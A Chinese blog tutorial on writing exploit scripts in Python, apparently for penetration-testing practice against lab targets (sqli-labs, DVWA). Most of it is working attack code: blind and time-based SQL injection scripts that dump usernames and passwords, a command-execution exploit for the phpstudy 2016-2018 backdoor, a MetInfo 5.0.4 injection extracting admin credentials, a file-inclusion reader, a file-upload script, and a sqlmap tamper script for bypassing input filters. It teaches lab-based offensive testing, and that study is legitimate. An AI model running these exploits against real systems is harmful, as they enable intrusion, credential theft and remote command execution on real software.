EXP武器库编写

文章目录

    • pocsuite3工具
    • SQL注入EXP
      • 布尔盲注
        • 优化
        • 最终优化
      • 延时注入
    • phpstudy2016-2018-RCE利用
    • DVWA文件上传
    • metinfo_5.0.4EXP
      • SQL-布尔盲注
      • 文件包含漏洞
    • 定制SQLmap
      • tamper脚本
      • sqli-labs/less-26
        • 关卡分析
      • tamper脚本编写

python是黑客最喜欢的编程语言之一,但同时go语言正在兴起。

在渗透测试的过程中,为了提高效率,通常需要编写一些小工具,把一系列机械性的手法自动化实现,如SQL注入中的盲注。

区分两个概念:

1、针对某一个(类)漏洞的验证代码,称之为POC,主要用来验证漏洞的存在性。

2、针对某一个漏洞的完整利用程序,称之为EXP,除了验证漏洞的存在性,还能相对完美利用漏洞。

拥有编写号的EXP,再次遇到相同的或相识的目标环境和漏洞,仅需要进行简单的修改就可以直接进行漏洞检查了,大大提高了便利性和效率。

本课程所使用的python版本是3.x。

pocsuite3工具

简介

pocsuite3 是由 知道创宇 404实验室 开发维护的开源远程漏洞测试和概念验证开发框架

项目地址

https://github.com/knownsec/pocsuite3

漏洞测试框架

Pocsuite3 采用 Python3 编写,支持验证,利用 及 shell 三种插件模式,你可以指定单个目标或者从文件导入多个目标,使用单个 PoC 或者 PoC 集合进行漏洞的验证或利用。可以使用命令行模式进行调用,也支持类似 Metaspolit 的交互模式进行处理,除此之外,还包含了一些基本的如输出结果报告等功能。(使用方法参考《Pocsuite 使用方法》)

POC/EXP开发包

Pocsuite3 也是一个 PoC/Exp 的 SDK,也就是开发包,我们封装了基础的 PoC 类,以及一些常用的方法,比如 Webshell 的相关方法,基于Pocsuite3 进行 PoC/Exp 的开发,你可以只要编写最核心的漏洞验证部分代码,而不用去关心整体的结果输出等其他一些处理。基于 Pocsuite3 编写的 PoC/Exp 可以直接被 Pocsuite 使用,Seebug网站也有几千个基于pocsuite 的 PoC/Exp。

可被集成模块

Pocsuite3 除了本身具有直接就是一个安全工具除外,也可以作为一个Python包被集成进漏洞测试模块。你还可以基于 Pocsuite3 开发你自己的应用,我们在 Pocsuite3 里封装了可以被其他程序 import 的 PoC 调用类,你可以基于 Pocsuite3 进行二次开发,调用 Pocsuite3 开发您自己的漏洞验证工具。

集成ZoomEye,Seebug,Ceye

Pocsuite3 还集成了 ZoomEye, Seebug, Ceye API,通过该功能,你可以通过 ZoomEye API 批量获取指定条件的测试目标(通过 ZoomEye 的 Dork 进行搜索),同时通过 Seebug API 读取指定组件或者类型的漏洞的 PoC 或者本地 PoC,进行自动化的批量测试。利用Ceye 验证盲打的 DNS 和 HTTP 请求

特性

POC脚本可以运行在attack,verify,shell等模式下

插件化的方式动态加载

可从本地文件,redis,数据库,seebug网站等动态加载POC脚本运行

可通过CIDR,本地文件,redis,数据库,Zoomeye Dork批量加载检测目标

可以自定义结果导出插件方便导出多种格式的检测报告

可动态补丁requests爆,支持多种额外特性

可通过命令行或者python包导入运行

IPV6支持

全局的HTTP/HTTPS/SOCKS代理支持

为POC脚本提供简单爬虫API功能调用

Seebug联动Seebug(从seebug网站搜索和加载PoC脚本)

ZoomEye 联动 ZoomEye (从ZoomEye Dork 批量加载检测目标)

Ceye 联动 Ceye (提供盲打的DNS及HTTP请求验证)

Shodan 联动 Shodan (从Shodan Dork 批量加载检测目标)

监听反向链接的 shell

PoC脚本支持友好的 IDE 动态调试

More …

环境要求

Python 3.4+
Linux, Windows, Mac OSX, BSD

安装

直接pip3安装

pip install pocsuite3

或者直接下载最新的解压

wget https://github.com/knownsec/pocsuite3/archive/master.zip
unzip master.zip
cd pocsuite3-master
pip3 install -r requirements.txt
python3 setup.py install

使用方法

EXP武器库编写_第1张图片

pocsuite -h  查看帮助信息

Pocsuite3 有三种运行方法,1、命令行;2、交互式控制台;3、集成调用。

命令行

交互式控制台

类似 Metasploit 的控制台,使用 poc-console 命令进入

EXP武器库编写_第2张图片

EXP武器库编写_第3张图片

集成调用

官方用法文档

初识pocsuite3框架

模板 文件路径

EXP武器库编写_第4张图片

SQL注入EXP

布尔盲注

# @File:sqli-labs-8-Boolean_blind.py

'''
http://192.168.8.3/sqli-labs-master/Less-8/?id=1'
'''
import requests, string


# 获取数据长度
def get_database_length(url):
    count = 0
    while True:
        payload = f" and length(database())={count}-- "
        response = requests.get(url=url + payload).text
        if 'You are in...........' in response:
            print(f"[*] The length of database :{count}")
            break
            # return count
        count += 1
    return count


# 获取数据库名

def get_database_name(length,url):
    database_name = ''
    word = string.printable.strip()
    # print(length)
    for i in range(length):
        for j in word:
            payload = f" and ascii(substr((select database()),{i + 1},1))={ord(j)}-- "
            # print(payload)
            response = requests.get(url=url + payload).text
            if 'You are in...........' in response:
                database_name += j
                print(f'[+] DataBase:{database_name}')
    # return database_name


if __name__ == '__main__':
    url = "http://192.168.8.3/sqli-labs-master/Less-8/?id=1'"
    length = get_database_length(url)

    get_database_name(length,url)
    # print(database_name)

EXP武器库编写_第5张图片

优化
import requests, string
url = "http://192.168.8.3/sqli-labs-master/Less-8/?id=1'"
#获取数据库长度

db_name_len = 0
for i in range(10):
    payload = f" and length(database())={i} -- "
    if "You are in..........." in requests.get(url=url + payload).text:
        db_name_len = i
        print(f"[*]The length of database:{db_name_len}")
        break
# 获取数据库名
db_name = ""
word = string.printable.strip()
for i in range(db_name_len):
    for j in word:
        payload = f" and ascii(substr((select database()),{i + 1},1))={ord(j)} --+"
        if "You are in..........." in requests.get(url=url + payload).text:
            db_name += j
            print(f"[*]The database is :{db_name}")
            break

# # 获取表名长度
table_len = 0
for i in range(200):
    payload = f" and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))={i} -- "
    if "You are in..........." in requests.get(url=url + payload).text:
        table_len = i
        print(f"[*]The length of table:{table_len}")
        break
# # 获取表名
table_name = ''
for i in range(table_len):
    for j in word:
        payload = f" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i + 1},1))={ord(j)} --+"
        if "You are in..........." in requests.get(url=url + payload).text:
            table_name += j
            print(f"[*]The table_name is :{table_name}")
            break

# # 获取字段的长度
column_len = 0
for i in range(200):
    payload = f" and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))={i} -- "
    if "You are in..........." in requests.get(url=url + payload).text:
        column_len = i
        print(f"[*]The length of column:{column_len}")
        break
#
# # 获取所有的字段
column_name = ''
for i in range(table_len):
    for j in word:
        payload = f" and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{i + 1},1))={ord(j)} --+"
        if "You are in..........." in requests.get(url=url + payload).text:
            column_name += j
            print(f"[*]The column_name is :{column_name}")
            break
#
# # # 获取数据长度
data_len = 0
for i in range(200):
    payload = f" and length((select group_concat(username,password) from  users))={i} -- "
    if "You are in..........." in requests.get(url=url + payload).text:
        data_len = i
        print(f"[*]The length of data:{data_len}")
        break
#
# # # 获取所有的数据
data_name = ''
for i in range(data_len):
    for j in word:
        payload = f" and ascii(substr((select group_concat(concat(username,0x3a,password)) from users),{i + 1},1))={ord(j)} --+"
        if "You are in..........." in requests.get(url=url + payload).text:
            data_name += j
            print(f"[*]The data_name is :{data_name}")
            break
最终优化
data_len = 0


def get_len(url, sql):
    for i in range(200):
        payload = f" and length(({sql}))={i} -- "
        if "You are in..........." in requests.get(url=url + payload).text:
            global data_len
            data_len = i
            print(f"[*]The length of data:{data_len}")

            break


def get_name(url, sql):
    word = string.printable.strip()
    data_name = ''
    for i in range(data_len):
        for j in word:
            payload = f" and ascii(substr(({sql}),{i + 1},1))={ord(j)} --+"
            if "You are in..........." in requests.get(url=url + payload).text:
                data_name += j
                print(f"[*]The data_ is :{data_name}")
                break


if __name__ == '__main__':
    url = "http://192.168.8.3/sqli-labs-master/Less-8/?id=1'"
    # sql = 'select database()'  #获取数据库信息
    # sql = 'select group_concat(table_name) from information_schema.tables where table_schema=database()'  # 获取表信息
    # sql = 'select group_concat(column_name) from information_schema.columns where table_schema=database()'  # 获取字段
    sql = 'select group_concat(concat(username,0x3a,password)) from  users'  # 获取数据
    get_len(url, sql)

    get_name(url, sql)


延时注入

# @File:sqli-labs-9-Delayed injection.py

'''
http://192.168.8.3/sqli-labs-master/Less-9/?id=1' and if(1=2,sleep(5),1) --+
'''

import requests, string


def get_timeout(url):
    try:
        response = requests.get(url=url,timeout=3)
    except:
        return "timeout"
    else:
        return response.text

#获取数据库长度
def get_database_length(url):
    count = 0
    while True:
        payload = f" and if(length(database())={count},sleep(6),1) --+"
        # print(url + payload)

        if 'timeout' in get_timeout(url + payload):
            print(f"[*] The length of database :{count}")
            break

        count += 1
    return count

#获取数据库名字


def get_database_name(length,url):
    database_name = ''
    word = string.printable.strip()
    # print(length)
    for i in range(length):
        for j in word:
            payload =f" and if(ascii(substr((select database()), {i+1}, 1))={ord(j)}, sleep(5), 1) -- "
            # print(payload)

            if 'timeout' in get_timeout(url + payload):
                database_name += j
                print(f'[+] DataBase:{database_name}')
    # return database_name
if __name__ == '__main__':
    url = "http://192.168.8.3/sqli-labs-master/Less-9/?id=1'"
    length=get_database_length(url)
    get_database_name(length,url)


EXP武器库编写_第6张图片

phpstudy2016-2018-RCE利用

# @File:phpstudy2018-2018_rec.py


import requests
import base64
import random
import string
import argparse
from termcolor import colored
from pyfiglet import Figlet

def attack(url, cmd):
    cmd = f"system('{cmd}');"
    # print('1',cmd)
    base64_cmd = base64.b64encode(cmd.encode()).decode()

    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36",
        "Accept-Encoding": "gzip,deflate",
        "Accept-Charset": base64_cmd
    }
    response = requests.get(url, headers=headers).text
    # print('2',response[:response.find('
    return response[:response.find(')]


def verify(url):
    w = ''
    for i in range(10):
        w += random.choice(string.ascii_letters)
    cmd = f"echo {w}"
    # print('3',cmd)
    attack(url, cmd)
    if w in attack(url, cmd):
        print(colored(f"[+] Target {url} vulnerability exists", "green"))
    else:

        print(colored(f"[-] The target {url} vulnerability does not exist", "red"))


if __name__ == '__main__':


    parse = argparse.ArgumentParser()
    parse.add_argument('-u', '--url', help="请输入地址", type=str)  # 指定参数必须是整型
    parse.add_argument("-c", '--command', help='请输入测试命令', type=str)  # 指定参数必须是字符串类型
    args = parse.parse_args()
    if args.url and args.command:
        verify(args.url)
        print(attack(args.url, args.command))
    else:
        # 艺术字
        f = Figlet(font='slant')
        print('=' * 70)
        print(f.renderText('phpstudy bd'))
        print(' ' * 54, '-- zSong', )
        print()
        print("\033[34mUsage: python3 *.py -u http://192.168.8.3/phpinfo.php -c whoami\033[0m")

        print('=' * 70)


DVWA文件上传


# @File:file_upload.py

import requests
from bs4 import BeautifulSoup

url = 'http://192.168.8.3/DVWA-2.0.1/vulnerabilities/upload/'

headers = {
    "User-Agent": "",
    "Cookie": "security=low; PHPSESSID=pgarrj6q61t1sg59mdr6bcbss1"
}
data = {
    "MAX_FILE_SIZE": "100000",
    "Upload": "Upload"
}

files = {
    "uploaded": ('2.php', '', 'image/png')
}
response = requests.post(url=url, headers=headers, data=data, files=files)

print(response.text)
# 提取上传路径
soup = BeautifulSoup(response.text, 'lxml')
#提取pre标签的文件
pre_content=soup.find_all('pre')[0].text   #../../hackable/uploads/2.php succesfully uploaded!
img_path=pre_content.split(' ')[0]  #以空格为分割符,去左边第一个,也就是下标为0的
# print(img_path)                     #../../hackable/uploads/2.php
'''路径拼接'''
img_path=url+img_path
print(img_path)

metinfo_5.0.4EXP

SQL-布尔盲注

注入点:http://192.168.8.3/metInfo5.0.4/about/show.php?lang=cn&id=22

EXP武器库编写_第7张图片

漏洞验证

抓包测试

EXP武器库编写_第8张图片

+and+length(database())=2

EXP武器库编写_第9张图片

+and+length(database())>2

EXP武器库编写_第10张图片

页面不出现404.html,则页面正常

布尔盲注脚本编写

# @File:metinfo_504_sqlinjection.py
import requests, string

'''
/metInfo5.0.4/about/show.php?lang=cn&id=22+and+length(database())>2
'''

import requests, string


# 获取数据长度
def get_length(url):
    count = 0
    while True:
        #获取数据库长度
        payload = f" and length((select database()))={count}-- "
        #获取表的长度
        payload = f" and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))={count}-- "
        #获取字段的长度
        payload = f" and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x6d65745f61646d696e5f7461626c65))={count}-- "
        #获取数据的长度
        payload = f" and length((select concat(admin_id,0x3a,admin_pass) from met_admin_table limit 0,1))={count}-- "
        print(url + payload)
        response = requests.get(url=url + payload).text
        if '404.html' not in response:
            print(f"[*] The length of data :{count}")
            break
            # return count
        count += 1
    return count


# 获取数据库名
def common():
    pass


def get_database_data(length, url):
    database_name = ''
    word = string.printable.strip()
    # print(length)
    for i in range(length):
        for j in word:
            #获取数据库名
            payload = f" and ascii(substr((select database()),{i + 1},1))={ord(j)}-- "
            #获取表名
            payload = f" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i + 1},1))={ord(j)}-- "
            #获取字段名
            payload = f" and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x6d65745f61646d696e5f7461626c65),{i + 1},1))={ord(j)}-- "
            #获取管理员数据
            payload = f" and ascii(substr((select concat(admin_id,0x3a,admin_pass) from met_admin_table limit 0,1),{i + 1},1))={ord(j)}-- "

            response = requests.get(url=url + payload).text
            if '404.html' not in response:
                database_name += j
                print(f'[+] Data:{database_name}')
    # return database_name


if __name__ == '__main__':
    url = "http://192.168.8.3/metInfo5.0.4/about/show.php?lang=cn&id=22"
    length = get_length(url)

    get_database_data(length, url)

    # print(database_name)

EXP武器库编写_第11张图片

得到密码的md5值,解码后得到密码admin

文件包含漏洞

文件包含漏洞利用点:/about/index.php?fmodule=7&module=[filePath]

favicon.io页面有88888字样,可以利用这一点来验证漏洞是否存在

EXP武器库编写_第12张图片

# @File:file_include.py
import sys

import requests


# 漏洞验证
def verify(url):
    payload = "/about/index.php?fmodule=7&module=../favicon.ico"
    if '88888888888888' in requests.get(url=url + payload).text:

        return '[*] The target has vulnerabilities'

    else:
        return '[*] There are no vulnerabilities in this target'


# 漏洞利用
def attack(url):
    file_path = input('输入文件包含路径[:]')
    payload = "/about/index.php?fmodule=7&module=%s"%(file_path)
    response = requests.get(url=url + payload).text
    print(response)


if __name__ == '__main__':
    url = 'http://192.168.8.3/metInfo5.0.4'

    if " has vulnerabilities" in verify(url):
        attack(url)
    else:
        exit()

EXP武器库编写_第13张图片

定制SQLmap

tamper脚本

SQLmap是一款SQL注入神器,可以通过tamper对注入payload进行编码和变形,已达到绕过某些限制的目的。但是有些时候,SQLmap自带的Tamper脚本并不是特别好用,需要根据实际情况定制Tamper脚本。

  • sqlmap,Tamper详解及使用指南

sqli-labs/less-26

关卡分析

被过滤字符

字符 替代字符
–+ # and '1 and 1='1
and anANDd
or oORr
%a0(linux 系统特性)

?id=1

Hint: Your Input is Filtered with following result: 1
提示:您的输入将被过滤,结果如下:1

?id=2

?id=1'

EXP武器库编写_第14张图片

得出结论:字符型注入,闭合方式单引号


使用--+注释掉后面的,发现报错,说明--+没有起到效果

EXP武器库编写_第15张图片

?id=1' and '1

EXP武器库编写_第16张图片

and被过滤了


可以考虑双写,?id=1' anANDd '1

双写能显示出and,但是空格没有出来,被过滤了

EXP武器库编写_第17张图片

试一下用+号来代替空格

?id=1'+anANDd+'1

EXP武器库编写_第18张图片

发现+号被过滤掉了,所以上面的--+起不到注释的效果就是因为+号被过滤

尝试使用特殊字符代替空格,网上搜寻

%a0可以代替

EXP武器库编写_第19张图片

联合查询

?id=1'%a0union%a0select%a01,2,3%a0anandd%a01='1

EXP武器库编写_第20张图片

?id=1'%a0aandnd%a01=2%a0union%a0select%a0database(),version(),3%a0aANDnd%a0'1

EXP武器库编写_第21张图片

使用sqlmap跑一下,-v参数可以显示注入的payload

 python .\sqlmap.py -u "http://192.168.8.3/sqli-labs-master/Less-26/?id=1" -v3

EXP武器库编写_第22张图片

tamper脚本编写

tamper脚本位置在sqlmap/tamper

EXP武器库编写_第23张图片

#sqli-labs-26.py
import re

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
                 %a0
    and                 anANDd
    --+                  and '1
    or                  oORr
    """
    payload = re.sub(r"(?i)-- "," and 'lili",payload)
    payload = re.sub(r"(?i)and","anANDd",payload)
    payload = re.sub(r"(?i)or","oORr",payload)
    payload = re.sub(r"(?i)\ ","%a0",payload)

    return payload

(?i) 正则忽略大小写匹配

验证漏洞

 python .\sqlmap.py -u "http://192.168.8.3/sqli-labs-master/Less-26/?id=1" -v3 --tamper sqli-labs-26

EXP武器库编写_第24张图片

EXP武器库编写_第25张图片

获取数据库

python .\sqlmap.py -u "http://192.168.8.3/sqli-labs-master/Less-26/?id=1" -v3 --tamper sqli-labs-26 --dbs

EXP武器库编写_第26张图片

你可能感兴趣的:(Python,exp,python)